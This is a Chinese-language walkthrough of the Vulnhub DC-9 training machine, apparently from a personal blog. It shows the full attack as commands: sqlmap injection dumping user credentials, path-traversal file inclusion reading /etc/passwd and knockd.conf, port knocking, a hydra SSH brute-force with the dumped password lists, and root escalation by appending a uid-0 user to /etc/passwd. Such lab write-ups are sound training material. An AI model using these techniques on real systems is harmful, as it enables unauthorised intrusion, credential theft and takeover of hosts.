Vulnhub靶机DC系列-DC9
title: Vulnhub靶机DC系列-DC9
abbrlink: a3a268b3
date: 2022-09-17 09:28:39
tags: Vulnhub
靶场介绍
描述
DC-9 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验。
这一挑战的最终目标是获得根并阅读唯一的标志。
必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
技术信息
DC-9 是基于 Debian 64 位构建的 VirtualBox VM,但在大多数 PC 上运行它应该没有任何问题。
DC-9 已在 VMWare Player 上成功测试,但如果在 VMware 中运行此 VM 有任何问题,请通读此.
它当前配置为桥接网络,但是,可以根据您的要求进行更改。网络配置为 DHCP。
安装很简单 - 下载它,解压缩,然后将它导入 VirtualBox 或 VMWare,然后就可以了。
重要的
虽然使用此 VM 应该没有问题,但通过下载它,您将对此 VM 可能造成的任何意外损坏承担全部责任。
这么说应该没什么问题,但我觉得有必要把它扔在那里以防万一。
nmap扫描
存活主机
kali 192.168.169.220
dc 192.168.169.241
目标IP
bp+xray
- post提交的sql注入
sqlmap
- bp抓包,将请求保存
sqlmap开跑
sqlmap -r dc9.txt --batch --level 4 --dbs
users
sqlmap -r dc9.txt --batch --level 4 -D users --tables
sqlmap -r dc9.txt --batch --level 4 -D users -T UserDetails --columns
sqlmap -r dc9.txt --batch --level 4 -D users -T UserDetails -C username,password --dump
- 复制备用
| username | password |
+-----------+---------------+
| monicag | 3248dsds7s |
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| jerrym | B8m#48sd |
| bettyr | BamBam01 |
| janitor2 | Hawaii-Five-0 |
| janitor | Ilovepeepee |
| rossg | ILoveRachel |
| joeyt | Passw0rd |
| wilmaf | Pebbles |
| barneyr | RocksOff |
| phoebeb | smellycats |
| tomc | TC&TheBoyz |
| chandlerb | UrAG0D! |
| rachelg | yN72#dsd |
| scoots | YR3BVxxxw87 |
Staff
- 如果报错重新复制粘贴请求文件
sqlmap -r dc9.txt --level 4 -D staff --tables
sqlmap -r dc9.txt --level 4 -D Staff -T Users --columns
sqlmap -r dc9.txt --level 4 -D Staff -T Users -C username,password --dump
admin
transorbital1
-
登陆成功
File does not exist
文件不存在
文件包含漏洞
- 这里就不懂了(参考)
File does not exist //文件不存在
我为什么就想不到要文件包含呢
manage.php?file=../../../../../../../../etc/passwd
knockd
-
knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。
-
也就是说 按照一定顺序去访问敲击特定的端口,就能激活ssh
http://192.168.169.241/manage.php?file=../../../../../../../etc/knockd.conf
File does not exist
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
ssh状态
- 未敲门
- 开始敲门
nmap -p 7469 192.168.169.241
nmap -p 8475 192.168.169.241
nmap -p 9842 192.168.169.241
ssh开启
爆破ssh
- username全部写入到u文件形成user字典
- 之前备用的数据库
- 将各个账户的密码也写进p字典中
- 然后使用两个字典进行爆破,
hydra -L u -P p ssh://192.168.169.241
-
user
monicag
marym
julied
fredf
jerrym
bettyr
janitor2
janitor
rossg
joeyt
wilmaf
barneyr
phoebeb
tomc
chandlerb
rachelg
scoots -
pass
3248dsds7s
3kfs86sfd
468sfdfsd2
4sfd87sfd1
B8m#48sd
BamBam01
Hawaii-Five-0
Ilovepeepee
ILoveRachel
Passw0rd
Pebbles
RocksOff
smellycats
TC&TheBoyz
UrAG0D!
yN72#dsd
YR3BVxxxw87 -
爆破成功
-
编辑的文本名字和密码内容后面不能有空格
ssh [email protected] UrAG0D!
ssh [email protected] Passw0rd
ssh [email protected] Ilovepeepee
登录ssh
[email protected] UrAG0D!
ssh [email protected] Passw0rd
ssh [email protected] Ilovepeepee
- 最终在janitor 发现个隐藏文件夹
探索janitor
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
再次爆破ssh
- 把上面的密码添加到爆破的密码文件,继续爆破
[22][ssh] host: 192.168.169.241 login: fredf password: B4-Tru3-001
fredf连接ssh
ssh [email protected] B4-Tru3-001
提权
意思是 读取argv1的内容,然后将1的内容写入argv2。
也就是说 这个python文件 需要两个参数来执行
因为这个文件是root权限,所以这里可以构造参数1:一个root用户和密码,参数2:/etc/passwd
这样这个文件执行 就会创建一个root用户
- 接下来看不懂,照着抄
openssl passwd -1 -salt kidll 123456789
-1 #使用md5加密算法
-salt #自动插入盐值
kidll 123456789 账号 密码
这串代码系统生成
$1$kali$F4zZpaACn/q8kr0i413b30
- 构造用户
kidll:$1$kali$F4zZpaACn/q8kr0i413b30:0:0::/root:/bin/bash
根据/etc/passwd的格式 存放在一个文件里 作为第一个参数
echo 'kidll:$1$kali$F4zZpaACn/q8kr0i413b30:0:0::/root:/bin/bash' >/tmp/a # 这里用tmp 文件夹 这个权限要大一些
- 跟上参数 执行test这个文件
- 注意目录
sudo ./test /tmp/a /etc/passwd
- 这样算成功
cat /etc/passwd
- root